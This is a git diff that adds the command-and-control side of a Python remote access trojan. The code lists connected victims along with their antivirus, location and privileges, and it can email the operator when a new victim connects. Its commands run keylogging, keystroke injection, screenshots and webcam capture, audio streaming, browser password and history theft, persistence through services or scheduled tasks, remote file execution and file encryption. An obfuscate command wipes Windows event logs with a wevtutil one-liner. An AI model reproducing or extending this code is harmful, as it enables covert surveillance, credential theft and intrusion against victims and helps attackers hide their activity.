bytes(f'{len(message):<{headersize}}', encoding) + message + client.send(final_msg) + + while True: + client_msg = client.recv(81920) + + if mode[0]: + mode[1] = int(client_msg[:headersize]) + mode[0] = False + + mode[2] += client_msg + + if len(mode[2])-headersize == mode[1]: + data = stream.read(CHUNK) + frames.append(data) + + real_msg = pickle.dumps(data) + real_msg = zlib.compress(real_msg, 9) + real_msg = encryption.do_encrypt(real_msg) + final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg + client.send(final_msg) + + mode = [True, 0, b''] + except Exception as err: + write_error(err) + try: + if record: + make_wave(['modules', 'modules/talk'], client_obj[1], (CHANNELS, p, FORMAT, RATE, frames)) + + stream.stop_stream() + stream.close() + p.terminate() + state['sockets']['modules']['talk'][1].remove(client_obj) + except Exception as err: + write_error(err) + finally: + sys.exit(0) + + +@error_exception_handling +def talk(data): + ip = validate_dict_key(data, 'ip') + port = validate_dict_key(data, 'port') + run = validate_dict_key(data, 'run') + unbind = validate_dict_key(data, 'unbind') + close = validate_dict_key(data, 'close') + status = validate_dict_key(data, 'status') + + if run: + assert state['session']['active'] + + if ip and port: + data['ip'], data['port'] = ip, int(port) + else: + data['ip'], data['port'] = state['sockets']['modules']['talk'][0].getsockname() + + del data['run'] + + threading.Thread(target=talk_action, daemon=True).start() + session_message(data) + elif ip and port: + if state['sockets']['modules']['talk'][0] is None: + bind_socket(ip, port, 'talk') + else: + ip, port = state['sockets']['modules']['talk'][0].getsockname() + status_message(f'You are already listening for clients (talk module) on {ip}:{port}', 'danger', {'dots': True}) + elif unbind: + if state['sockets']['modules']['talk'][0]: + unbind_socket('talk') + else: + status_message(f'You\'re not listening for clients (talk module)\nThere is no server socket (talk module) to close', 'warning') + elif close: + close_client(close, 'talk') + elif status: + if state['sockets']['modules']['talk'][0]: + ip, port = state['sockets']['modules']['talk'][0].getsockname() + status_message(f'You are listening for clients (talk module) on {ip}:{port}', 'primary') + else: + status_message('You are not listening for clients (talk module)', 'warning') + else: + raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/parse/alias_parser.py b/domestic/parse/alias_parser.py new file mode 100644 index 0000000..e1b010d --- /dev/null +++ b/domestic/parse/alias_parser.py @@ -0,0 +1,22 @@ +import os + +from domestic.utility.read_file import * +from domestic.global_state import * + + +def alias_parser(data): + if os.path.isfile(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt'): + filesize = os.path.getsize(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt') + + if filesize != state['settings']['dynamic']['alias-size']: + state['settings']['dynamic']['alias-data'] = read_file(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt').decode(state['settings']['encoding']).strip().split('\n') + state['settings']['dynamic']['alias-size'] = filesize + + for alias in state['settings']['dynamic']['alias-data']: + key_value = alias.split('=') + + if len(key_value) == 2: + if data == key_value[0]: + return key_value[1] + + return data
\ No newline at end of file diff --git a/domestic/parse/command_argument_parser.py b/domestic/parse/command_argument_parser.py new file mode 100644 index 0000000..9358d76 --- /dev/null +++ b/domestic/parse/command_argument_parser.py @@ -0,0 +1,21 @@ +def command_argument_parser(message): + arguments = message.split('--') + first = arguments[0] + + if first.endswith(' '): + first = first[:-1] + + arguments_dict = {'message': first} + + for argument in arguments[1:]: + key_value_list = [y for y in argument.split(' ') if y != ''] + + key = key_value_list[0] + value = key_value_list[1:] + + if len(key_value_list) == 1: + arguments_dict[key] = True + else: + arguments_dict[key] = ' '.join(value) + + return arguments_dict
\ No newline at end of file diff --git a/domestic/parse/command_validation.py b/domestic/parse/command_validation.py new file mode 100644 index 0000000..4669fa8 --- /dev/null +++ b/domestic/parse/command_validation.py @@ -0,0 +1,98 @@ +from domestic.session.server_handling.persistence import * +from domestic.session.server_handling.interpreter import * +from domestic.session.server_handling.messagebox import * +from domestic.session.server_handling.keylogger import * +from domestic.session.server_handling.keystroke import * +from domestic.session.server_handling.obfuscate import * +from domestic.session.server_handling.download import * +from domestic.session.server_handling.encrypt import * +from domestic.session.server_handling.recover import * +from domestic.session.server_handling.website import * +from domestic.session.server_handling.upload import * +from domestic.session.server_handling.system import * +from domestic.session.server_handling.image import * +from domestic.session.server_handling.cd import * +from domestic.session.session_message import * +from domestic.globally.exit_program import * +from domestic.globally.clear_screen import * +from domestic.session.enter_session import * +from domestic.session.exit_session import * +from domestic.shell.list_clients import * +from domestic.globally.get_help import * +from domestic.globally.sockets import * +from domestic.globally.options import * +from domestic.modules.stream import * +from domestic.modules.audio import * +from domestic.modules.talk import * +from domestic.global_state import * +from domestic.shell.server import * +from domestic.shell.delete import * +from domestic.shell.stdout import * +from domestic.modules.cam import * + + +def command_validation(message): + low_message = message['message'].lower() + + if low_message == 'help': + get_help() + elif low_message == 'exit': + exit_program() + elif low_message == 'clear': + clear_screen() + elif low_message == 'sockets': + sockets() + elif low_message == 'options': + options(message) + elif low_message == 'stream': + stream(message) + elif low_message == 'cam': + cam(message) + elif low_message == 'audio': + audio(message) + elif low_message == 'talk': + talk(message) + elif state['session']['active']: + if low_message == 'break': + exit_session() + elif low_message == 'cd': + cd(message) + elif low_message == 'image': + image(message) + elif low_message == 'upload': + upload(message) + elif low_message == 'download': + download(message) + elif low_message == 'encrypt': + encrypt(message) + elif low_message == 'interpreter': + interpreter(message) + elif low_message == 'keylogger': + keylogger(message) + elif low_message == 'keystroke': + keystroke(message) + elif low_message == 'persistence': + persistence(message) + elif low_message == 'system': + system(message) + elif low_message == 'recover': + recover(message) + elif low_message == 'obfuscate': + obfuscate(message) + elif low_message == 'website': + website(message) + elif low_message == 'messagebox': + messagebox(message) + else: + session_message(message) + else: + if low_message == 'list': + list_clients() + elif low_message == 'server': + server(message) + elif low_message == 'delete': + delete(message) + elif low_message == 'session': + enter_session(message) + else: + stdout(low_message, message)
\ No newline at end of file diff --git a/domestic/parse/error_exception_handling.py b/domestic/parse/error_exception_handling.py new file mode 100644 index 0000000..286b3c2 --- /dev/null +++ b/domestic/parse/error_exception_handling.py @@ -0,0 +1,41 @@ +from domestic.utility.validate_dict_key import * +from domestic.utility.status_message import * +from domestic.utility.write_error import * +from domestic.globally.get_help import * +from domestic.global_state import * + + +def error_exception_handling(func): + def func_wrapper(*args): + try: + number_of_arguments = len(args) + + if number_of_arguments == 1: + func(args[0]) + elif number_of_arguments == 2: + func(args[0], args[1]) + elif number_of_arguments == 3: + func(args[0], args[1], args[2]) + elif number_of_arguments == 4: + func(args[0], args[1], args[2], args[3]) + elif number_of_arguments == 5: + func(args[0], args[1], args[2], args[3], args[4]) + elif number_of_arguments == 6: + func(args[0], args[1], args[2], args[3], args[4], args[5]) + elif number_of_arguments == 7: + func(args[0], args[1], args[2], args[3], args[4], args[5], args[6]) + except Exception as err: + write_error(err) + + if state['session']['active'] and func.__name__ in [*state['sockets']['modules']]: + func_key = validate_dict_key(help_obj, f'{func.__name__}_2', False) + elif func.__name__ == 'listening': + func_key = validate_dict_key(help_obj, 'listen', False) + else: + func_key = validate_dict_key(help_obj, func.__name__, False) + + if func_key: + status_message(f'An exception was reached, please verify your input & try again\nUsage: {func_key["usage"]}', 'danger') + else: + status_message('Exception was reached, something went wrong\nPlease validate your input & try again', 'danger') + return func_wrapper
\ No newline at end of file diff --git a/domestic/parse/internal_server_error_exception_handling.py b/domestic/parse/internal_server_error_exception_handling.py new file mode 100644 index 0000000..0cf3602 --- /dev/null +++ b/domestic/parse/internal_server_error_exception_handling.py @@ -0,0 +1,30 @@ +import sys + +from domestic.utility.write_error import * + + +def internal_server_error_exception_handling(func): + def func_wrapper(*args): + try: + number_of_arguments = len(args) + + if number_of_arguments == 0: + func() + elif number_of_arguments == 1: + func(args[0]) + elif number_of_arguments == 2: + func(args[0], args[1]) + elif number_of_arguments == 3: + func(args[0], args[1], args[2]) + elif number_of_arguments == 4: + func(args[0], args[1], args[2], args[3]) + elif number_of_arguments == 5: + func(args[0], args[1], args[2], args[3], args[4]) + elif number_of_arguments == 6: + func(args[0], args[1], args[2], args[3], args[4], args[5]) + elif number_of_arguments == 7: + func(args[0], args[1], args[2], args[3], args[4], args[5], args[6]) + except Exception as err: + write_error(err) + sys.exit(0) + return func_wrapper
\ No newline at end of file diff --git a/domestic/session/enter_session.py b/domestic/session/enter_session.py new file mode 100644 index 0000000..dae4bac --- /dev/null +++ b/domestic/session/enter_session.py @@ -0,0 +1,15 @@ +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.global_state import * + + +@error_exception_handling +def enter_session(message): + index = validate_dict_key(message, 'index') + + if index: + state['session'] = {'active': True, 'socket': state['sockets']['clients'][0][int(index)], 'username': state['sockets']['clients'][2][int(index)]['username'], 'data': None} + status_message('Session succesfully established', 'success') + else: + raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/session/exit_session.py b/domestic/session/exit_session.py new file mode 100644 index 0000000..6a91752 --- /dev/null +++ b/domestic/session/exit_session.py @@ -0,0 +1,9 @@ +from domestic.utility.status_message import * +from domestic.global_state import * + + +def exit_session(write_stdout=True, data=None): + state['session'] = {'active': False, 'socket': None, 'username': None, 'data': data} + + if write_stdout: + status_message('Session successfully exited', 'success')
\ No newline at end of file diff --git a/domestic/session/server_handling/cd.py b/domestic/session/server_handling/cd.py new file mode 100644 index 0000000..fe58ea7 --- /dev/null +++ b/domestic/session/server_handling/cd.py @@ -0,0 +1,8 @@ +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * + + +@error_exception_handling +def cd(message): + assert message['to'] + session_message(message)
\ No newline at end of file diff --git a/domestic/session/server_handling/download.py b/domestic/session/server_handling/download.py new file mode 100644 index 0000000..a51e394 --- /dev/null +++ b/domestic/session/server_handling/download.py @@ -0,0 +1,35 @@ +import os + +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.make.make_directories import * +from domestic.global_state import * + + +@error_exception_handling +def download(message): + assert message['file'] + + filename = validate_dict_key(message, 'file') + execute = validate_dict_key(message, 'execute') + + username = state['session']['username'] + make_directories([username, f'{username}/downloads']) + root = f'{state["root"]}/{username}/downloads/{filename}' + + message['max_file_size'] = state['settings']['max-file-size'] + if execute: + del message['execute'] + + data = session_message(message, False, loading_text='downloading file...') + download = validate_dict_key(data, 'download', False) + + if download: + with open(root, 'wb') as f: + f.write(download) + + if execute: + os.startfile(root) + + status_message(data['message'], data['text_mode'])
\ No newline at end of file diff --git a/domestic/session/server_handling/encrypt.py b/domestic/session/server_handling/encrypt.py new file mode 100644 index 0000000..b5407ba --- /dev/null +++ b/domestic/session/server_handling/encrypt.py @@ -0,0 +1,13 @@ +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * + + +def encrypt(message): + assert message['file'] + + decrypt = validate_dict_key(message, 'decrypt') + + if decrypt is None: + message['decrypt'] = False + + session_message(message)
\ No newline at end of file diff --git a/domestic/session/server_handling/image.py b/domestic/session/server_handling/image.py new file mode 100644 index 0000000..15719e0 --- /dev/null +++ b/domestic/session/server_handling/image.py @@ -0,0 +1,31 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * + + +@error_exception_handling +def image(message): + monitor = validate_dict_key(message, 'monitor') + screenshot = validate_dict_key(message, 'screenshot') + cam = validate_dict_key(message, 'cam') + + assert screenshot or cam + + if monitor is None: + message['monitor'] = 0 + else: + message['monitor'] = int(monitor) + + if screenshot: + message['image_type'] = True + del message['screenshot'] + image_type = 'screenshot' + else: + message['image_type'] = False + del message['cam'] + image_type = 'cam-screenshot' + + data = session_message(message, False) + + if data['screenshot']: + make_image(['image', f'image/{image_type}'], data['screenshot'], success_message=data['message'], image_type=message['image_type'])
\ No newline at end of file diff --git a/domestic/session/server_handling/interpreter.py b/domestic/session/server_handling/interpreter.py new file mode 100644 index 0000000..0c403e4 --- /dev/null +++ b/domestic/session/server_handling/interpreter.py @@ -0,0 +1,35 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.utility.read_file import * +from domestic.global_state import * + + +@error_exception_handling +def interpreter(message): + execute = validate_dict_key(message, 'execute') + script = validate_dict_key(message, 'script') + quiet = validate_dict_key(message, 'quiet') + + assert execute or script + + if script: + parent_folder = state['settings']['folders']['parent'] + child_folder = state['settings']['folders']['child'][1] + message['execute'] = read_file(f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(state['settings']['encoding']) + del message['script'] + + if quiet: + del message['quiet'] + + data = session_message(message, False) + result = validate_dict_key(data, 'result') + + if result: + if quiet is None: + status_message(data['result'], 'pure', {'end': True}) + print() + make_file(['interpreter'], 'txt', bytes(data['result'], state['settings']['encoding']), data['message']) + else: + status_message(data['message'], data['text_mode'])
\ No newline at end of file diff --git a/domestic/session/server_handling/keylogger.py b/domestic/session/server_handling/keylogger.py new file mode 100644 index 0000000..366aaac --- /dev/null +++ b/domestic/session/server_handling/keylogger.py @@ -0,0 +1,43 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.make.make_file import * + + +@error_exception_handling +def keylogger(message): + run = validate_dict_key(message, 'run') + download = validate_dict_key(message, 'download') + close = validate_dict_key(message, 'close') + status = validate_dict_key(message, 'status') + quiet = validate_dict_key(message, 'quiet') + + if run: + message['action_type'] = 'run' + del message['run'] + session_message(message) + elif download: + message['action_type'] = 'download' + del message['download'] + data = session_message(message, False) + + logs = validate_dict_key(data, 'logs') + + if logs: + if quiet is None: + status_message(logs.decode(state['settings']['encoding']), 'raw') + print() + make_file(['keylogger'], 'txt', logs, data['message']) + else: + status_message(data['message'], data['text_mode']) + elif close: + message['action_type'] = 'close' + del message['close'] + session_message(message) + elif status: + message['action_type'] = 'status' + del message['status'] + session_message(message) + else: + raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/session/server_handling/keystroke.py b/domestic/session/server_handling/keystroke.py new file mode 100644 index 0000000..9f09540 --- /dev/null +++ b/domestic/session/server_handling/keystroke.py @@ -0,0 +1,23 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.read_file import * +from domestic.global_state import * + + +@error_exception_handling +def keystroke(message): + inject = validate_dict_key(message, 'inject', False) + script = validate_dict_key(message, 'script', False) + + if inject: + message['inject'] = inject.strip().split(';') + elif script: + parent_folder = state['settings']['folders']['parent'] + child_folder = '{}/{}'.format(state['settings']['folders']['child'][1], state['settings']['folders']['child'][3]) + message['inject'] = read_file(f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(state['settings']['encoding']).strip().split('\r\n') + del message['script'] + else: + raise Exception('Error message') + + session_message(message)
\ No newline at end of file diff --git a/domestic/session/server_handling/messagebox.py b/domestic/session/server_handling/messagebox.py new file mode 100644 index 0000000..28b4ff5 --- /dev/null +++ b/domestic/session/server_handling/messagebox.py @@ -0,0 +1,25 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * + + +@error_exception_handling +def messagebox(message): + title = validate_dict_key(message, 'title', False) + text = validate_dict_key(message, 'text', False) + style = validate_dict_key(message, 'style') + + if title and text: + if style == 'info': + message['style'] = 64 + elif style == 'cross': + message['style'] = 16 + elif style == 'question': + message['style'] = 32 + elif style == 'warning': + message['style'] = 48 + else: + message['style'] = 64 + session_message(message) + else: + raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/session/server_handling/obfuscate.py b/domestic/session/server_handling/obfuscate.py new file mode 100644 index 0000000..c3f5422 --- /dev/null +++ b/domestic/session/server_handling/obfuscate.py @@ -0,0 +1,15 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * + + +@error_exception_handling +def obfuscate(message): + logs = validate_dict_key(message, 'logs') + + if logs: + message['message'] = 'for /f %x in (\'wevtutil el\') do wevtutil cl "%x"' + del message['logs'] + session_message(message) + else: + raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/session/server_handling/persistence.py b/domestic/session/server_handling/persistence.py new file mode 100644 index 0000000..f6ae6b5 --- /dev/null +++ b/domestic/session/server_handling/persistence.py @@ -0,0 +1,23 @@ +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * + + +@error_exception_handling +def persistence(message): + elevate = validate_dict_key(message, 'elevate') + service = validate_dict_key(message, 'service') + schedule = validate_dict_key(message, 'schedule') + + if elevate: + message['action_type'] = 'elevate' + del message['elevate'] + elif service: + message['action_type'] = 'service' + del message['service'] + elif schedule: + message['action_type'] = 'schedule' + del message['schedule'] + else: + raise Exception('Error message') + + session_message(message)
\ No newline at end of file diff --git a/domestic/session/server_handling/recover.py b/domestic/session/server_handling/recover.py new file mode 100644 index 0000000..0c29c4c --- /dev/null +++ b/domestic/session/server_handling/recover.py @@ -0,0 +1,66 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.make.make_history import * +from domestic.global_state import * + + +@error_exception_handling +def recover(message): + password = validate_dict_key(message, 'password') + history = validate_dict_key(message, 'history') + quiet = validate_dict_key(message, 'quiet') + force = validate_dict_key(message, 'force') + + if force is None: + message['force'] = False + + if password: + del message['password'] + message['action_type'] = 'password' + + if quiet: + del message['quiet'] + + data = session_message(message, False) + + if quiet is None: + text = [x for x in data['message'].split('\n') if x != ''] + count = 0 + + for line in text: + if line[:3] == '[+]': + print() + status_message(line[4:], 'success', {'end': True, 'point': 'empty'}) + elif line[:3] == '[-]': + print() + status_message(line[4:], 'danger', {'end': True, 'point': 'empty'}) + elif line[:19] == '-------------------': + if count != 0: print() + count += 1 + status_message(line, 'raw') + else: + status_message(line, 'raw') + print() + + make_file(['recover', 'recover/password'], 'txt', bytes(data['message'], 'utf-8'), 'Passwords succesfully recovered') + elif history: + del message['history'] + message['action_type'] = 'history' + + if quiet: + del message['quiet'] + + data = session_message(message, False) + + if quiet is None: + for browser, browser_data in data['message'].items(): + browser = browser.capitalize() + for link, title, date in browser_data: + status_message(f'{browser}: {link}, {title}, {date}', 'pure', {'end': True}) + print() + + make_history(['recover', 'recover/history'], 'csv', data['message'], 'Browser history succesfully recovered') + else: + raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/session/server_handling/system.py b/domestic/session/server_handling/system.py new file mode 100644 index 0000000..f505dbf --- /dev/null +++ b/domestic/session/server_handling/system.py @@ -0,0 +1,29 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.global_state import * + + +@error_exception_handling +def system(message): + shutdown = validate_dict_key(message, 'shutdown') + restart = validate_dict_key(message, 'restart') + logout = validate_dict_key(message, 'logout') + standby = validate_dict_key(message, 'standby') + + if shutdown: + message['action_type'] = 'shutdown' + del message['shutdown'] + elif restart: + message['action_type'] = 'restart' + del message['restart'] + elif logout: + message['action_type'] = 'logout' + del message['logout'] + elif standby: + message['action_type'] = 'standby' + del message['standby'] + else: + raise Exception('Error message') + + session_message(message)
\ No newline at end of file diff --git a/domestic/session/server_handling/upload.py b/domestic/session/server_handling/upload.py new file mode 100644 index 0000000..fe88f05 --- /dev/null +++ b/domestic/session/server_handling/upload.py @@ -0,0 +1,36 @@ +import os + +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * +from domestic.utility.read_file import * +from domestic.global_state import * + + +@error_exception_handling +def upload(message): + filename = validate_dict_key(message, 'file', False) + url = validate_dict_key(message, 'url', False) + execute_on_upload = validate_dict_key(message, 'execute') + + message['max_file_size'] = state['settings']['max-file-size'] + + if execute_on_upload is None: + message['execute'] = False + else: + message['execute'] = True + + if filename: + root = f'{state["root"]}/{state["settings"]["folders"]["parent"]}/{state["settings"]["folders"]["child"][0]}/{filename}' + + if (os.path.getsize(root) / 1024 / 1024) > message['max_file_size']: + status_message(f'File exceeding maximum size of {message["max_file_size"]}MB', 'danger') + return + + message['from_url'], message['file_data'] = False, read_file(root) + elif url: + message['file'], message['from_url'], message['file_data'] = url, True, None + del message['url'] + else: + raise Exception('Error message') + + session_message(message, loading_text='uploading file...')
\ No newline at end of file diff --git a/domestic/session/server_handling/website.py b/domestic/session/server_handling/website.py new file mode 100644 index 0000000..bac7138 --- /dev/null +++ b/domestic/session/server_handling/website.py @@ -0,0 +1,8 @@ +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * + + +@error_exception_handling +def website(message): + message['open'] = message['open'].split(',') + session_message(message)
\ No newline at end of file diff --git a/domestic/session/session_message.py b/domestic/session/session_message.py new file mode 100644 index 0000000..485bfbb --- /dev/null +++ b/domestic/session/session_message.py @@ -0,0 +1,35 @@ +from domestic.utility.validate_dict_key import * +from domestic.utility.status_message import * +from binary.data_handling.send_data import * +from binary.data_handling.recv_data import * +from domestic.utility.delete_client import * +from domestic.utility.text_to_image import * +from domestic.session.session_wait import * +from domestic.utility.write_error import * +from domestic.make.make_image import * +from domestic.make.make_file import * +from domestic.global_state import * + + +def session_message(message, piped_data=True, loading_text='loading...'): + data = session_wait((state['session']['socket'], message, True), loading_text) + + text_mode = validate_dict_key(data, 'text_mode') + text_extras = validate_dict_key(data, 'text_extras') + + if state['options']['information-gathering']['backup']['text']: + make_file(['backup', 'backup/text'], 'txt', bytes(data['message'], state['settings']['encoding'])) + + if state['options']['information-gathering']['backup']['image']: + make_image(['backup', 'backup/image'], text_to_image(data['message']), False) + + if piped_data: + if text_mode is None: + status_message(data['message'], 'pure') + else: + if text_extras: + status_message(data['message'], text_mode, text_extras) + else: + status_message(data['message'], text_mode) + else: + return data
\ No newline at end of file diff --git a/domestic/session/session_queue.py b/domestic/session/session_queue.py new file mode 100644 index 0000000..e4e0f81 --- /dev/null +++ b/domestic/session/session_queue.py @@ -0,0 +1,43 @@ +import time + +from domestic.parse.internal_server_error_exception_handling import * +from domestic.utility.status_message import * +from binary.data_handling.send_data import * +from binary.data_handling.recv_data import * +from domestic.utility.delete_client import * +from domestic.session.exit_session import * +from domestic.utility.write_error import * +from domestic.global_state import * + + +@internal_server_error_exception_handling +def session_queue(): + while True: + for index in range(len(state['sockets']['clients'][0])): + if time.time() - state['sockets']['clients'][2][index]['timer'] >= state['settings']['keep-alive-count']: + state['settings']['dynamic']['queue'].append((state['sockets']['clients'][0][index], {'message': 'bbCF2NNYjjTfHELUV9Y2qmkV'}, False)) + state['sockets']['clients'][2][index]['timer'] = time.time() + + if state['settings']['dynamic']['queue']: + for item in state['settings']['dynamic']['queue']: + try: + send_data(item[0], item[1], (state['settings']['encryption'], state['settings']['encoding'], state['settings']['headersize']), {'safe': state['options']['mode']['safe'], 'safe_timeout': state['settings']['safe-timeout']}) + data = recv_data(item[0], (state['settings']['encryption'], state['settings']['headersize'])) + + if item[2]: + state['session']['data'] = data + except Exception as err: + write_error(err) + + if item[2]: + exit_session(False, {'message': 'Timeout reached waiting for client response\nClient had to be disconnected', 'text_mode': 'danger'}) + elif state['session']['socket'] is item[0]: + exit_session(False) + print() + status_message('Timeout reached waiting for client response\nClient had to be disconnected', 'danger') + + delete_client(index, False) + finally: + state['settings']['dynamic']['queue'].remove(item) + else: + time.sleep(0.1)
\ No newline at end of file diff --git a/domestic/session/session_wait.py b/domestic/session/session_wait.py new file mode 100644 index 0000000..244b9e2 --- /dev/null +++ b/domestic/session/session_wait.py @@ -0,0 +1,22 @@ +import time + +from domestic.utility.loading import * +from domestic.global_state import * + + +def session_wait(queue_obj, loading_text): + try: + if state['settings']['loading']: + start_loading(loading_text) + + state['settings']['dynamic']['queue'].append(queue_obj) + + while state['session']['data'] is None: + time.sleep(0.1) + else: + if state['settings']['loading']: + stop_loading() + + return state['session']['data'] + finally: + state['session']['data'] = None
\ No newline at end of file diff --git a/domestic/shell/delete.py b/domestic/shell/delete.py new file mode 100644 index 0000000..16a3e98 --- /dev/null +++ b/domestic/shell/delete.py @@ -0,0 +1,13 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.utility.delete_client import * + + +@error_exception_handling +def delete(message): + index = validate_dict_key(message, 'index') + + if index: + delete_client(int(index)) + else: + raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/shell/list_clients.py b/domestic/shell/list_clients.py new file mode 100644 index 0000000..1d30901 --- /dev/null +++ b/domestic/shell/list_clients.py @@ -0,0 +1,24 @@ +import tabulate + +from domestic.utility.status_message import * +from domestic.global_state import * + + +def list_clients(): + number_of_clients_connected = len(state['sockets']['clients'][0]) + clients_list = state['sockets']['clients'][1] + all_clients = [] + + if number_of_clients_connected == 0 and state['sockets']['server'] is None: + status_message(f'Use \'listen\' command to enable clients to connect\nConnected clients can be listed & interacted with', 'primary', {'end': True}) + elif number_of_clients_connected == 0: + status_message('You are listening for clients\nBut none are currently connected', 'primary', {'end': True}) + else: + for index, addr in enumerate(clients_list): + user_data = state['sockets']['clients'][2][index] + all_clients.append([index, user_data['monitors'], user_data['cams'], user_data['io-channels'], f"{user_data['username']}", user_data['address'], user_data['os'], user_data['antivirus'], user_data['location'], user_data['privileges']]) + + status_message(tabulate.tabulate(all_clients, headers=['Index', 'Monitors', 'Cams', 'I/O Channels', 'Username@Hostname', 'Address', 'Operating System', 'Antivirus', 'Location', 'Privileges']), 'pure', {'end': True}) + + print() + status_message(None, 'program')
\ No newline at end of file diff --git a/domestic/shell/server.py b/domestic/shell/server.py new file mode 100644 index 0000000..2fd0d49 --- /dev/null +++ b/domestic/shell/server.py @@ -0,0 +1,134 @@ +import threading +import socket +import time +import sys +import os + +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.utility.status_message import * +from domestic.utility.delete_client import * +from binary.data_handling.send_data import * +from binary.data_handling.recv_data import * +from domestic.utility.get_timestamp import * +from domestic.make.make_directories import * +from domestic.utility.write_error import * +from domestic.utility.send_email import * +from domestic.utility.read_file import * +from domestic.global_state import * + + +@error_exception_handling +def listening(host, port, stdout=True): + try: + state['sockets']['server'] = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + state['sockets']['server'].bind((host, int(port))) + state['sockets']['server'].listen() + except Exception as err: + write_error(err) + state['sockets']['server'] = None + + if stdout: + raise Exception('Socket binding error') + else: + sys.exit(0) + else: + if stdout: + status_message(f'Listening on port {port}', 'success', {'dots': True, 'point': 'dot'}) + + while True: + try: + client, addr = state['sockets']['server'].accept() + except Exception as err: + write_error(err) + break + + try: + send_data(client, {'message': 'CsBLDS4n5zPYq7JaxDjxWHK4', 'silent': state['options']['mode']['silent'], 'io_channels': state['settings']['io-channels']}, (state['settings']['encryption'], state['settings']['encoding'], state['settings']['headersize']), {'safe': state['options']['mode']['safe'], 'safe_timeout': state['settings']['safe-timeout']}) + data = recv_data(client, (state['settings']['encryption'], state['settings']['headersize'])) + data.update({'timer': time.time()}) + + add_client = True + + if os.path.isfile(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt'): + blacklist = read_file(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt').decode(state['settings']['encoding']).strip().split('\n') + for ip in blacklist: + try: + ip = socket.gethostbyname(ip) + except Exception as err: + write_error(err) + + if addr[0] == ip: + add_client = False + + if not state['options']['validation']['duplicates']: + for client_data_obj in state['sockets']['clients'][2]: + if data['username'] == client_data_obj['username']: + add_client = False + + if len(state['sockets']['clients'][0]) >= state['options']['validation']['max-clients']: + add_client = False + + if add_client: + if state['options']['information-gathering']['history']: + make_directories([data['username']]) + with open(f'{state["root"]}/{data["username"]}/history.txt', 'a') as f: + f.write(f'{data["username"]} connected at {get_timestamp()}\n') + + data_list = (client, addr, data) + + if state['options']['information-gathering']['whoami']: + make_directories([data['username']]) + with open(f'{state["root"]}/{data["username"]}/whoami.txt', 'a') as f: + title = f'Whoami at {get_timestamp()}' + text = f'Monitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}' + f.write(f'{title}\n{text}\n{"-" * len(title)}\n') + + for index, item in enumerate(state['sockets']['clients']): + item.append(data_list[index]) + + if state['options']['notice']['email-notice']: + send_email( + state['options']['notice']['email-data']['email'], + state['options']['notice']['email-data']['password'], + state['options']['notice']['email-data']['to'], + 'Connection Notice!', + f'Connection at {get_timestamp()}\nMonitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}') + else: + client.close() + except Exception as err: + write_error(err) + + +@error_exception_handling +def server(message): + ip = validate_dict_key(message, 'ip') + port = validate_dict_key(message, 'port') + status = validate_dict_key(message, 'status') + unbind = validate_dict_key(message, 'unbind') + + if port and ip: + if state['sockets']['server'] is None: + threading.Thread(target=listening, args=(ip, port), daemon=True).start() + else: + ip, port = state['sockets']['server'].getsockname() + status_message(f'You are already listening for clients on {ip}:{port}', 'danger', {'dots': True}) + elif status: + if state['sockets']['server']: + ip, port = state['sockets']['server'].getsockname() + status_message(f'You are listening for clients on {ip}:{port}', 'primary') + else: + status_message('You are not listening for clients', 'warning') + elif unbind: + if state['sockets']['server']: + state['sockets']['server'].close() + state['sockets']['server'] = None + + for index, client in enumerate(state['sockets']['clients'][0]): + delete_client(index, False) + + status_message('You\'re no longer listening for clients\nServer socket is now closed', 'success') + else: + status_message(f'You\'re not listening for clients\nThere is no server socket to close', 'warning') + else: + raise Exception('Error message')
